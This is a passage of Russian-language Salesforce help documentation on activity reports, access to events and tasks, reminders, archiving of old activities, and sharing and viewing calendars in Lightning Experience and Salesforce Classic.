Щелкните «Создать настраиваемый отчет» на вкладке
«Отчеты» и выберите тип отчета «Действия».

Действия, связанные
с другим типом
записей, например с
коммерческими
возможностями

Отчеты по действиям. Добавьте столбец «Количество связей»
в отчеты.

Например, пользователь создает задачу с пятью контактами.
При выполнении отчета «Задачи и события» данный столбец

Количество
контактов, связанных
с действием

содержит значение «5», соответствующееколичеству контактов,
связанных с задачей.

Отчет «Действия с контактами». Выберите как минимум одно
поле объекта «Контакт».

Например, отчет содержит задачу с пятью контактами. При
добавлении поля контакта «Фамилия» в отчет, отображаются

Строки контактов
для каждого
действия

пять строк, связанных с даннымдействием (поодной строке для
каждого контакта). В случае отсутствия полей контакта
отображается всего одна строка для действия.

Отчет «Действия с контактами» — это единственный отчет,
который...
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Рекомендуемый отчетПросматриваемые
сведения

• отображает все контакты действия;

• может быть отфильтрован посредством атрибутов неосновных контактов.

Другие отчеты отображают основной контакт и общее количество контактов действия,
но не содержат сведений о других контактах.

Отчет «Действия с контактами» не позволяет определять основные и дополнительные
контакты.

Отчет «Задачи и события» или «Действия с обращениями».

Например, полеотчета «Контакт» содержитимяИванПетров, еслиданныйпользователь
является основным контактом задачи.

Основной контакт действия
в двух отчетах: «Задачи и
события» и «Действия с
обращениями».

Основнойконтакт такжеотображается вполе «Имя» на страницесведенийозадачеили
событии.
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Составление отчетов по встречам торговых представителей с клиентами

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Contact Manager,
Personal, Group,
Professional, Enterprise,
Performance, Unlimited и
Developer

Доступно в Salesforce
Classic в следующих
версиях: Все версии, кроме
Database.com.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Для просмотра действий,
принадлежащих текущему
и подчиненным
пользователям в иерархии
ролей:
• Полномочия не

требуются

Для просмотра всех
действий:
• «Просмотр всех данных»

Просмотритераспределениерабочего временисотрудникамиотделапродаж. Создайте
настраиваемый отчет, в котором содержится информация о том, какие торговые
представители занимаются обслуживанием.

1. Создайте тип настраиваемого отчета.

a. Выберите объект «Пользователи» в качестве основного.

b. Заполните оставшиеся обязательные поля: метка, описание и категория.

c. Нажмите кнопку «Далее».

2. Определите взаимосвязь между действиями и пользователями.

a. Свяжите объект «Взаимосвязи действия» с объектом «Пользователи».

b. Нажмите кнопку «Сохранить».

3. Определите поля, отображаемые в данном типе отчета.

a. Нажмите кнопку «Редактировать макет» в разделе «Поля, доступные для
отчетов».

b. Добавьте следующие поля «Взаимосвязи действия» в макет: «Дата», «Тема»,
«Имя», «Связано с» и «Количество связей».

c. Измените метку для поля «Имя» на значение «Контакт», а метку для поля
«Связано с» на значение «Потенциальный клиент».

d. Выберите опцию отображения каждого поля по умолчанию.

e. Нажмите кнопку «Сохранить».

4. Создайте отчет.

a. Откройте вкладку «Отчеты» и выберите тип отчета, созданный в действиях 1–3.

b. ВыберитеСводныйформат и создайте группировку по полному имени.

c. Выполните и сохраните отчет.

Созданный отчет может использоваться для оптимизации рабочего времени, которое
тратится группами сбыта на обслуживание клиентов.

Прим.: Если организация не использует функцию «Общедоступные действия»,
то настраиваемые отчеты на основе объекта «Взаимосвязи действия» не содержат
организаторов событий и приглашенных, а также не отображают события без
приглашенных.

СМ. ТАКЖЕ:

Создание типа настраиваемого отчета

Создание макета поля для отчетов, созданных на основе типа настраиваемого отчета

Создание отчета

Создание настраиваемого отчета
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Доступ к действиям

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Contact Manager,
Personal, Group,
Professional, Enterprise,
Performance, Unlimited и
Developer

Доступно в Salesforce
Classic в следующих
версиях: Все версии, кроме
Database.com.

Вы можете узнать, у кого есть доступ к просмотру, созданию и удалению событий и
задач, а также о том, когда у них появляется такой доступ. Управление совместным
использованием календаря и общим доступом осуществляется отдельно от доступа к
конкретным действиям.

Посмотреть демонстрационный ролик: Кому и какие данные доступны?: единые
стандартные параметры

Несколько видов параметров отражаются на доступе к событиям и задачам,
принадлежащим к организации Salesforce.

Роль
Пользователям предоставляется доступ к просмотру и изменению собственных
действий, а также к действиям, назначенным вашим подчиненным в соответствии с
иерархией ролей вашей организации Salesforce.

Полномочия
Пользователисполномочиямиуровня «Просмотрвсехданных» могутпросматривать
любые действия.

Модель общего доступа
Когдаиспользуетсямодельобщегодоступа «Управляетсяродителями», людисполномочием «Просмотрвсехданных»
для этого типа объекта для связанной записи смогут просматривать это действие.

Важное замечание:

• Предположим, что вы связали один или несколько контактов с действием, открытым для просмотра другими
лицами. Эти люди смогут просматривать действие вместе с именем, именем учетной записи и типовым
обращением к каждому контакту, связанному с этим действием, вне зависимости от других доступных способов
просмотра информации.

• Событие, помеченное флажком «Личное», доступно только назначенному пользователю.

Пример: Вы можете просматривать действия, только если к вам относится одно из следующих утверждений.

• Назначение действию.

• Вышестоящее положение в иерархии ролей относительно пользователя, назначенного для действия.

• Наличие как минимум доступа для чтения записи, связанной с действием.

• Наличие полномочия «Просмотр всех данных».

• Наличие полномочия объекта «Просмотреть все» как минимум к одному контакту и связанной возможности,
учетной записи или обращения (при условии, что функция «Общедоступные действия» включена).

• У вас имеется полномочие объекта «Просмотр всех данных» для связанной коммерческой возможности или
учетной записи, где применяетсямодель общего доступа «Контролируется родительскимобъектом», афункция
«Общедоступные действия» не включена.

Действие можно редактировать или удалить (только в Salesforce Classic) при выполнении следующих условий.

• Наличие полномочий «Редактирование задач» и «Редактирование событий».

И

• Назначение действию.

• Вышестоящее положение в иерархии ролей относительно пользователя, назначенного действию.
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• Увас естьполномочиенауровнеобъектов «Изменитьвсе» длясвязаннойзаписи, в которойиспользуетсямодель
общего доступа «Контролируется родительским объектом». Наличие полномочия объекта «Просмотреть все»
как минимум к одному контакту и связанной записи (при условии, что функция «Общедоступные действия»
включена), или

• Наличие полномочия «Изменение всех данных».

СМ. ТАКЖЕ:

Предоставление общего доступа к календарю в Salesforce Classic

Напоминания о действиях в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: Все версии, кроме
Database.com.

Система Salesforce отображает напоминания о событиях и задачах в окне напоминания.
При использовании Salesforce Classic окно напоминания открывается независимо от
инициированиянапоминания. Привходев систему Salesforce Classic срабатывает звуковое
уведомление, еслисмоментапоследнеговходаимеютсяинициированныенапоминания.
Настроить напоминания можно в личных параметрах.

Содержимое окон напоминания

• Не более 100 последних неотклоненных напоминаний.

• Тип действия (событие или задача).

• Тема действия (щелкните для просмотра сведений о действии).

• Запланированное время начала события или крайний срок задачи.

• Крайний срок или просроченность напоминания.

Порядок напоминаний

Напоминания о событиях сортируются по дате и времени начала, а напоминания о задачах сортируются по крайнему
сроку. Ниже приведен порядок отображения напоминаний при отсутствиифлажка «Сортировать окно напоминания
по крайнему сроку».

1. Дата и время напоминаний о задачах и событиях.

2. Крайний срок задачи или дата и время начала события.

3. Тема (по алфавиту в порядке возрастания).

Ниже приведен порядок отображения напоминаний при наличиифлажка «Сортировать окно напоминания по
крайнему сроку».

1. Крайний срок задачи или дата и время начала события (при отсутствии крайнего срока задачи окно напоминания
сначала отображает саму задачу).

2. Дата и время напоминаний о задачах и событиях.

3. Тема (по алфавиту в порядке возрастания).

Отображение дат и времен

Таблица ниже определяет порядок отображения времени начала события или крайнего срока задачи в напоминаниях.
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Крайний срок или время начала, отображаемое в
напоминании

Крайний срок или заданное
время

Тип действия

Дата и время, выбранные при создании или редактировании
события

Время событияСобытие

Дата, выбранная пользователем, и время, заданное для поля
«Начало дня» на странице личных сведений

Событие на весь день

Дата, выбранная при создании или редактировании задачиКрайний срокЗадача

Значение «Нет»Без крайнего срока

Настраиваемые параметры напоминаний

Чтобы настроить параметры напоминаний, выполните указанные ниже действия.

1. Вразделеличныхпараметроввойдитевраздел «Напоминания» вполе «Быстрый поиск» ивыберите«Напоминания
о действиях».

2. При необходимости измените параметры.

Табл. 3: Параметры напоминаний

Результат применения параметраПараметр

Окно напоминания отображается при наступлении
крайнего срока напоминания.

Включение предупреждения после наступления времени
напоминания

Система Salesforce проигрывает звуковое уведомление при
наступлении крайнего срока напоминания.

Проигрывание звука напоминания

Система Salesforce устанавливает напоминание для всех
новых событий. Пользователь определяет время

По умолчанию установите напоминание для событий
на:

отображения напоминания перед началом события (по
умолчанию: 15 минут). При необходимости выключите
напоминаниеилиизмените его времяприредактировании
события.

Система Salesforce устанавливает напоминание для всех
новых задач. Пользователь определяет дату и время

По умолчанию установите напоминание для задач на:

отображения напоминаний о задачах (по умолчанию: 8:00
крайнего срока задачи). При необходимости выключите
напоминаниеилиизмените его времяприредактировании
задачи.

Система Salesforce сортирует напоминания сначала по
крайнему сроку, а затем по дате и времени напоминания.

Сортировать окно напоминания по крайнему сроку

Если система Salesforce не отображает заданные напоминания, убедитесь, что всплывающие окна не блокируются
используемымобозревателем. Чтобыпротестироватьнастройки, нажмите«Вашобозревательблокируетнапоминания?».
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Перенос напоминаний

Системапозволяетодновременнопереноситькакминимумоднонапоминание. Поумолчаниюнапоминаниеповторяется
через 5 минут.

При нажатии кнопки «Отложить» без установки флажка «Сортировать окно напоминания по крайнему сроку»
просроченноевремябудетосновыватьсяна временипереносаприповторномотображениинапоминания. Призакрытии
окнанапоминаниясистемаотображаетданноеокноповторноприуведомлениипользователяоследующемнапоминании.

Отклонение напоминаний

Системапозволяетодновременноотклонять какминимумоднонапоминание. Чтобыотклонитьвсенапоминаниявокне,
нажмите кнопку «Отклонить все». При наличии более 100 напоминаний перед нажатием кнопки «Отклонить все»
окно отображает дополнительные напоминания после нажатия кнопки «Отклонить все».

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce

Архивные действия

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Contact Manager,
Personal, Group,
Professional, Enterprise,
Performance, Unlimited и
Developer

Доступно в Salesforce
Classic в следующих
версиях: Все версии, кроме
Database.com.

Salesforce создает архивысобытийизадач врасписаниив соответствиисопределенными
критериями.

1. Критерии архивации действий
Система Salesforce архивирует определенные события и задачи одного года каждую
субботу примерно в 5:00 по Гринвичу.

2. Место отображения архивных действий
После архивации Salesforce действий их можно просмотреть в экспортированных
данных и в определенных областях в Salesforce Classic. Действия вносятся в архив
независимо от используемой версии Salesforce Classic, Lightning Experience или
Salesforce1. Но хотя архивные действия можно просматривать в экспортированных
данных и в Salesforce Classic, их нельзя увидеть в Lightning Experience и Salesforce1.

3. Рекомендации по архивации действий
Salesforceнеудаляет архивныедействия автоматически, однаковозможноихудаление
вручную. Архивные действия недоступны для копирования при создании или
обновлении безопасной среды.
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Критерии архивации действий

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Contact Manager,
Personal, Group,
Professional, Enterprise,
Performance, Unlimited и
Developer

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Database.com.

Система Salesforce архивирует определенные события и задачи одного года каждую
субботу примерно в 5:00 по Гринвичу.

Система Salesforce архивирует действия следующим образом.

• События, крайний срок которых наступил более 365 дней назад

• Закрытые задачи, крайний срок которых наступил более 365 дней назад

• Закрытые задачи без крайнего срока, созданные более 365 дней назад

Место отображения архивных действий

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Contact Manager,
Personal, Group,
Professional, Enterprise,
Performance, Unlimited и
Developer

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Database.com.

ПослеархивацииSalesforceдействийихможнопросмотретьв экспортированныхданных
и в определенных областях в Salesforce Classic. Действия вносятся в архив независимо от
используемой версии Salesforce Classic, Lightning Experience или Salesforce1. Но хотя
архивные действия можно просматривать в экспортированных данных и в Salesforce
Classic, их нельзя увидеть в Lightning Experience и Salesforce1.

Архивные действия можно просмотреть в следующих областях:

• в Salesforce Classic путем нажатия кнопки «Просмотреть все» в связанном списке
«Журнал действий»;

• в Salesforce Classic в версии для печати записи в полях «Имя» или «Связано с»;

• путем использования URL-адреса действия (при его наличии);

• в файлах еженедельного экспорта данных.
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Рекомендации по архивации действий

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Contact Manager,
Personal, Group,
Professional, Enterprise,
Performance, Unlimited и
Developer

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Database.com.

Salesforce не удаляет архивные действия автоматически, однако возможно их удаление
вручную. Архивные действия недоступны для копирования при создании или
обновлении безопасной среды.

События и календари
Система Salesforce позволяет планировать встречи и презентации с участием коллег,
текущих и потенциальных клиентов. А благодаря календарю Salesforce пользователи
могут легко информировать других участников (группу сбыта, менеджера попродажам)
и быстро готовиться к предстоящим встречам. Календарь позволяет оперативно
просматривать связанные записи, ленты Chatter, файлы, контракты и другие сведения
для любой записи интереса, контакта, возможности или организации.

Управление событиями
В Salesforce события представляют собой мощный инструмент для отслеживания
отношений с клиентами и заключения сделок. Вы можете привязать события к
коммерческим возможностям, интересам, организациям и контактам. Отслеживайте их по записям, в календаре и в
отчетах.

Общий календарь в Salesforce Classic

Предоставление доступа другим для просмотра или редактирования календаря в Salesforce Classic или просмотр
календаря, который вы используете совместно с коллегой.

Представления календаря
Представления календаря отображают события в системе Salesforce.

Рекомендации по использованию событий и календарей
Система Salesforce всегдаотображаетдатуивремясобытиявчасовомпоясе, выбранномнастранице «Моипараметры».
Работа со встречами и функцией планирования в Lightning Experience отличается от Salesforce Classic.

Приглашения и планирование в Salesforce Classic

Salesforce Classicпозволяет отправлять иприниматьприглашенияна встречи, а такжеиспользовать Cloud Scheduler для
определения времени проведения встречи. При необходимости пользователи могут создавать встречи Microsoft®

Outlook® для событий Salesforce.

СМ. ТАКЖЕ:

Действия

Задачи

Управление событиями
В Salesforce события представляют собоймощныйинструмент для отслеживания отношений с клиентами и заключения
сделок. Выможетепривязатьсобытияккоммерческимвозможностям, интересам, организациямиконтактам. Отслеживайте
их по записям, в календаре и в отчетах.

Управление событиями в Lightning Experience

Создание, обновление и отслеживание событий при помощи начальной страницы, календаря, панели Канбан или
временнойшкалы действий. Кроме того, события могут отслеживаться посредством отчетов.
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Управление событиями в Salesforce Classic

Вы можете отслеживать, создавать и обновлять свои и чужие встречи и ответы на приглашения в различных
местоположенияхв Salesforce. Система Salesforceотображает событияпосредствомсписковыхпредставленийдействий,
представленийкалендаря, лент Chatter исвязанных записей (например, контактыиорганизации). Кроме того, события
могут отслеживаться посредством отчетов.

Управление событиями в Lightning Experience

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Developer Edition,
Enterprise Edition, Group
Edition, Performance
Edition, Professional Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания событий:
• «Редактирование

событий»

Создание, обновление и отслеживание событий при помощи начальной страницы,
календаря, панели Канбан или временнойшкалы действий. Кроме того, события могут
отслеживаться посредством отчетов.

• Наначальнойстранице, вразделе «Предстоящиесобытия», отображаютсяследующие
пять встреч в календаре на сегодня. Произошедшие события удаляются из списка
по ходу их выполнения в течение дня.

• Воспользуйтесь календарем для обработки всех событий и создания событий.
Щелкните «Календарь» в меню навигации.

Пользователи не могут предоставлять другим пользователям общий доступ к
календарю и приглашать других пользователей на событие.

• На панели Канбан для коммерческих возможностей и интересов отображаются
уведомления, еслиотсутствуютоткрытыедействия. Чтобысоздатьсобытие, щелкните
желтый треугольник.

• Воспользуйтесь временнойшкалой действий для отслеживания и обновления
предстоящихипрошедших событий в записи возможности, интереса, организации
или контакта.

• Воспользуйтесь отчетами по действиям для просмотра событий, принадлежащих
нижестоящим пользователям в иерархии ролей организации Salesforce.

Прим.: Выможете удалить контакт или запись из события, не удаляя само событие. Предположим, что событие
связано с контактами «А» и «Б», но должно быть связано только с контактом «А». Рекомендуем просто удалить
контакт «Б» из поля «Имя» вместо удаления события.
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Управление событиями в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Database.com.

События с приглашенными
недоступны в версии:
Personal Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Создание событий
• «Редактирование

событий»

Вы можете отслеживать, создавать и обновлять свои и чужие встречи и ответы на
приглашения в различных местоположениях в Salesforce. Система Salesforce отображает
события посредством списковых представлений действий, представлений календаря,
лент Chatter и связанных записей (например, контакты и организации). Кроме того,
события могут отслеживаться посредством отчетов.

Отслеживание событий

Посмотретьдемонстрационныйролик: «Отслеживаниезвонков, сообщенийэл. почты
и встреч»

Нижеперечисленыобласти, позволяющиеотслеживатьсобственныесобытияисобытия
другихпользователей. Чтобыпросмотретьсписковыепредставлениядействий, щелкните
значок на вкладке «Начальная страница» или в любом представлении календаря,
либо откройте представление дня или недели.

События, принадлежащие текущему пользователю

• Раздел «Календарь» вкладки «Начальная страница»

• Списковое представление действий: выбор текущего спискового представления
или настройка нового

• Собственная лента Chatter: отслеживание сообщений, комментариев и обновлений для события

События, принадлежащие пользователям, календари которых доступны текущему пользователю
Многопользовательское представление календаря

События, назначенные другим пользователям

• Списковое представление «Мои делегированные действия»

• Отчеты по действиям

События, принадлежащие нижестоящим пользователям в иерархии организации

• Списковое представление «Действия моей рабочей группы»

• Отчеты по действиям

Предстоящие события

• Представление календаря

• Списковое представление «Предстоящие события»

• Связанный список «Открытые действия» для записи, связанной с событием

Прошедшие события

• Представление календаря

• Списковое представление «Мои действия»

• Связанный список «Журнал действий» для записи, связанной с событием

События, связанные с другой записью (например, контактом или организацией)

• Связанные списки «Открытые действия» и «Журнал действий» на странице сведений о другой записи

• Собственная лента Chatter и лента Chatter другой записи

• Отчеты по действиям
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Просмотр сведений о событии

Представление календаря, списковое представление действий, связанный список и вкладка «Начальная страница»
поддерживают два способа просмотра сведений о событиях.

• Наведите указатель мыши на тему нужного события.

• Щелкните нужную тему.

Чтобы просмотреть сведения об одиночном элементе из последовательности событий ( ), на странице описания
события выберите вложенную вкладку «Посмотреть событие». Чтобы просмотреть сведения о последовательности,
откройте вложенную вкладку «Просмотр последовательности».

обозначает событие, содержащее приглашенных.

Создание событий

Вкладка «Начальная страница»
Нажмите кнопку «Создатьсобытие»или «Создатьзапроснапроведениевстречи» вразделе «Календарь» вкладки
«Начальная страница».

Лента Chatter
Система Salesforce автоматически связывает событие с записью (например, контактом), лента которой используется
для его создания.

Боковая панель
Выберите пунктСобытие в раскрывающемся списке «Создать...» на боковой панели системы Salesforce.

Страница сведений о другой записи
Нажмите кнопку «Создатьсобытие»или «Создатьзапроснапроведениевстречи» в связанномсписке «Открытые
действия». Система Salesforce автоматически связывает событие или запрос на проведение встречи с данной записью.

Страница сведений о событии с приглашенными
Нажмите кнопку «Клонировать» на странице сведений о событии, содержащем приглашенных пользователей.
Можно клонировать событие, которое не является повторяющимся и где есть по крайней мере один приглашенный.

Представление календаря

• Нажмите кнопку «Создать событие».

• При использовании представления дня щелкните ссылку времени (например, «9:00»).

• При использовании представления дня или недели дваждыщелкните временную область. Данный алгоритм
недоступен для создания повторяющегося события или события, содержащего приглашенных пользователей.
Еслидвойнойщелчокнеоткрываетновоесобытие, обратитеськ администраторуспросьбойвключитьфункцию
быстрого создания событий.

• При использовании представления недели или месяца щелкните значок .

Списковое представление действий ( )
Нажмите кнопку «Создать событие» в списковом представлении.

Списковое представление контактов, интересов или других записей
Чтобы добавить к странице еженедельное представление календаря, щелкните по значку внизу страницы в
списковом представлении контактов, интересов или других записей. Чтобы создать событие, связанное с записью,
перетащите нужную запись из спискового представления во временную область календаря. При отсутствии
обратитесь к своему администратору Salesforce с просьбой включить функцию планирования с помощью
перетаскивания.
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Прим.: При планировании встречи с пользователем из другого часового пояса календарь отображает график его
занятости в часовом поясе текущего пользователя. Параметр «Часовой пояс» отдельного пользователя, заданный
настраницеличныхсведений, переопределяетпараметр «Часовой пояс по умолчанию», заданныйдляорганизации
Salesforce.

Обновление событий

Любая область (кроме отчетов), предназначенная для просмотра сведений о событиях, позволяет редактировать любые
события, доступные для редактирования.

Ниже перечислены способы редактирования событий.

• Чтобы повторно запланировать событие, перетащите нужное событие в другую временную область представления
календаря. Прежде чем перетащить событие, наведите указатель мыши на тему. При переносе повторяющегося
события ( ) изменяется только отдельный экземпляр, а не вся последовательность.

• Щелкните ссылку «Правка» напротив нужного события в списковом представлении действий, связанном списке
«Открытые действия» или связанном списке «Журнал действий». Данное действие открывает страницу сведений о
событии.

• Перейдите к календарному представлению, списковому представлению действий, связанному списку или вкладке
«Начальная страница». Подведитеуказательмышиктемесобытия. Откроетсянебольшоеокно, содержащеепараметры
редактирования.

• Чтобы разрешить совместный выбор даты и времени встречи, воспользуйтесь приложением Cloud Scheduler. При
подтверждении даты и времени встреча преобразуется в событие Salesforce, доступное для редактирования или
удаления.

Общий календарь в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: Все выпуски, кроме
Personal Edition и
Database.com

ПредоставлениедоступадругимдляпросмотраилиредактированиякалендарявSalesforce
Classic или просмотр календаря, который вы используете совместно с коллегой.

Посмотреть демонстрационный ролик: Кому и какие данные доступны? единые
стандартные параметры

Предоставление общего доступа к календарю в Salesforce Classic

При необходимости предоставьте сотрудникам, персональным и общедоступным
группам, ролям или ролям и подчиненным доступ для просмотра и редактирования
календаря в Salesforce Classic.

Просмотр календаря сотрудника в Salesforce Classic

После того, как сотрудники предоставят общий доступ, календари можно будет просматривать в Salesforce Classic.

СМ. ТАКЖЕ:

Напоминания о действиях в Salesforce Classic

Индивидуальная настройка системы Salesforce

Доступ к действиям
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Предоставление общего доступа к календарю в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в версиях: все
версии, кроме Personal
Edition и Database.com
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания событий:
• «Редактирование

событий»

При необходимости предоставьте сотрудникам, персональным и общедоступным
группам, ролям или ролям и подчиненным доступ для просмотра и редактирования
календаря в Salesforce Classic.

Посмотреть демонстрационный ролик: Кому и какие данные доступны?: единые
стандартные параметры

Параметры предоставления другим пользователям общего доступа к календарю
определяютсяединымуровнемобщегодоступаккалендарю, заданнымадминистратором
Salesforce. Параметрыпозволяютрасширять доступ к календарюдругимпользователям.
Параметрыобщегодоступаккалендарюопределяютдоступностьэлементовкалендаря,
но не предоставляют сотрудникам доступ к страницам сведений о событиях.

События, связанные с собственной записью, отображаются всем вышестоящим
пользователям в иерархии ролей.

1. Введите строку «Общий доступ к календарю» в поле «Быстрый поиск» на странице
личных параметров и выберите пункт «Общий доступ к календарю».

2. Чтобы предоставить другим пользователям общий доступ к календарю, нажмите
кнопку «Добавить». Выберитепользователей, ролиили группы, действия которыхдолжныотображаться в календаре.

3. Определите способ общего доступа к календарю. Выберите одно из указанных ниже значений.

Скрыть сведения
Сотрудники могут просматривать доступность выбранных временных промежутков, но не могут просматривать
другие сведения о типе событий в календаре пользователя.

Скрыть сведения и добавить события
Сотрудники могут просматривать доступность выбранных временных промежутков, но не могут просматривать
сведения о событиях. Они могут добавлять события в календарь пользователя.

Показать сведения
Сотрудники могут просматривать подробные сведения о событиях в календаре пользователя.

Показать сведения и добавить события
Сотрудникимогутпросматриватьподробныесведенияо событиях в календарепользователяидобавлять события
в календарь пользователя.

Полный доступ
Сотрудники могут просматривать подробные сведения о событиях в календаре пользователя, добавлять события
и редактировать текущие события.

СМ. ТАКЖЕ:

Доступ к действиям
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Просмотр календаря сотрудника в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в версиях: все
версии, кроме Personal
Edition и Database.com
Edition.

После того, как сотрудники предоставят общий доступ, календари можно будет
просматривать в Salesforce Classic.

Доступ к просмотру сведений о событии, редактированию или созданию событий
определяются календарем. Доступ к данному календарю определяется заданными
администратором Salesforce настройками организации и параметрами общего доступа
к календарю, выбранными сотрудником.

Можно просматривать все события, принадлежащие нижестоящим пользователям в
иерархии ролей.

• Щелкните ссылку «Изменить» в верхней части представления календаря «Просмотр дня», «Просмотр недели» или
«Просмотр месяца» и выберите нужный календарь.

Представления календаря
Представления календаря отображают события в системе Salesforce.

Представления календаря в Lightning Experience

Календарьотображает все события, которыепринадлежат вамв системе Salesforce, включая события внечасовработы.
События можно просматривать, создавать и редактировать в представлении по дням или неделям. Для просмотра
сведений нажмите на событие.

Представления календаря в Salesforce Classic

Представления календаря отображают собственный календарь и календари других сотрудников, а также списковые
представления открытых задач. Раздел «Календарь» вкладки «Начальная страница» содержит предстоящие события,
область выбора даты и ссылки на другие представления календаря. Пользователи могут предоставлять сотрудникам
общий доступ к календарю, а также печатать календари и списки задач.

Представления календаря в Lightning Experience

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Developer Edition,
Enterprise Edition, Group
Edition, Performance
Edition, Professional Edition
и Unlimited Edition.

Календарь отображает все события, которые принадлежат вам в системе Salesforce,
включая события вне часов работы. События можно просматривать, создавать и
редактировать впредставленииподнямилинеделям. Дляпросмотра сведенийнажмите
на событие.

СМ. ТАКЖЕ:

Рекомендации по использованию событий и календарей в Lightning Experience
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Представления календаря в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: Все версии, кроме
Database.com.

Представления календаря отображают собственный календарь и календари других
сотрудников, а также списковые представления открытых задач. Раздел «Календарь»
вкладки «Начальная страница» содержит предстоящие события, область выбора даты и
ссылки на другие представления календаря. Пользователи могут предоставлять
сотрудникам общий доступ к календарю, а также печатать календари и списки задач.

Область выбора или изменения представлений

Ниже перечислены области доступа к представлениям календаря.

• Раздел «Календарь» внизу вкладки «Начальная страница» (приотсутствиираздела «Календарь» на вкладке «Начальная
страница» обратитесь к администратору Salesforce с просьбой настроить макет начальной страницы).

• Значоккалендарянабоковойпанели, которыйпозволяетоткрытьпоследнеепросмотренноепредставлениекалендаря
(при включении данного значка администратором Salesforce).

• Страница сведений о событии или задаче.

• Списковое представление действий.

Влюбомпредставлении, когда вынаводите указательмышина событие, которое хотите просмотреть и отредактировать,
область наложения отображает сведения о событии и действиях, которые можно выполнить. Содержимое областей
наложения настраивается администратором Salesforce.

Представления дня, недели, месяца и действий

Ниже перечислены способы отображения событий в представлениях календаря.

• День: или «Сегодня»

• Дата, выбранная посредством значка

• Неделя: или «Текущая неделя»

• Представление недели (включая или исключая выходные)

• Месяц: или «Текущий месяц»

• День, выбранный в представлении недели или месяца

• Список действий (события и задачи): 

Любоепредставлениекалендаряпозволяет выбрать другоепредставлениепосредствомсоответствующегозначка. Чтобы
просмотреть представление отдельного дня, щелкните нужную дату в представлении недели или месяца.

Однопользовательское представление и представления других календарей

Однопользовательское представление ( ) отображает не более 1 000 событий за один месяц для одного из календарей
ниже.

• Собственный календарь

• Календарь другого пользователя (недоступно в версии Personal Edition)

• Общедоступный календарь

• Календарь ресурсов

Чтобы изменить пользователя или календарь, щелкните ссылку «Изменить». Чтобы разрешить другим пользователям
просмотрсобственногокалендаря, щелкнитессылку «Общийдоступкмоемукалендарю». Чтобыоткрытьсобственный
календарь, щелкните ссылку «Вернуться к моему календарю».
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Прим.: Действия, связанныесдругойзаписью, доступнывышестоящимпользователямвиерархииролей, независимо
от наличия параметров общего доступа организации, определяющих использование иерархий.

Все однопользовательские представления дня и недели отображают не только календарь, но и список открытых задач
пользователя. Раскрывающийсясписокпозволяетпользователямвыбиратьдругиепредставления (например, просроченные
задачи или задачи на текущий день).

Поумолчаниюпредставлениядняинеделиотображаютдиапазончасов, определяемыйполями «Начало дня» и «Конец
дня» на странице «Личные сведения».

Если события Outlook синхронизируются посредством приложения Salesforce for Outlook, то верхняя часть календаря
отображает баннер, ссылающийся на список неопределенных событий: синхронизированные события Outlook, которые
не назначались записям Salesforce.

Многопользовательское представление

Многопользовательское представление ( ) отображает календари и действия нескольких пользователей. Выберите
текущеесписковоепредставлениепользователейизраскрывающегосясписка«Просмотр»илищелкнитессылку«Создать
новое представление».

Представление отображает доступность каждого пользователя. Условные обозначения отображают время занятости и
отсутствия на рабочем месте. Многопользовательские представления не отображают события со статусом «Свободен».

Ниже перечислены ограничения для многопользовательских представлений.

• Многопользовательские представления не поддерживают функцию редактирования с помощью перетаскивания.

• Многопользовательскийкалендарьработаетнапартнерскомпорталеиначе. Например, партнерымогутпросматривать
только события из календарей сотрудников собственной компании и их менеджера канала распределения.

Версия для печати

Выберите нужное представление и щелкните ссылку «Версия для печати». При необходимости настройте выбранное
представление перед печатью.

• Чтобы распечатать содержимое страницы, щелкните ссылку «Печать этой страницы».

• Чтобы изменить даты, щелкните , , «Сегодня», «Текущая неделя» или «Текущий месяц».

• При использовании представления дня или недели выберите другое списковое представление задач.

• В многопользовательских представлениях в раскрывающемся списке «Сортировка по» выберите «Время», чтобы
включитьсобытиявсехпользователейвединыйкалендарь. Иливыберите «Пользователь» дляотображенияотдельного
календаря для каждого пользователя.

Рекомендации по использованию событий и календарей
Система Salesforce всегда отображает дату и время события в часовом поясе, выбранном на странице «Мои параметры».
Работа со встречами и функцией планирования в Lightning Experience отличается от Salesforce Classic.

Рекомендации по использованию событий и календарей в Lightning Experience

Ниже приведены рекомендации по использованию событий и календарей в Lightning Experience, включая действия
по созданию и обновлению событий и владению ими.

Рекомендации по использованию событий и календарей в Salesforce Classic

Ниже перечислены рекомендации по созданию и обновлению событий, владении ими и приглашении в них
пользователей Salesforce Classic.

1512

Планирование и отслеживание встреч и задачПродажи клиентам



Рекомендации по использованию событий и календарей в Lightning Experience

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Developer Edition,
Enterprise Edition, Group
Edition, Performance
Edition, Professional Edition
и Unlimited Edition.

Ниже приведены рекомендации по использованию событий и календарей в Lightning
Experience, включая действия по созданию и обновлению событий и владению ими.

Ограничение количества элементов в календаре
Представление календаря может содержать максимум 150 элементов.

Отсутствие общего доступа к календарю
Пользователи не могут предоставлять сотрудникам или менеджерам общий доступ
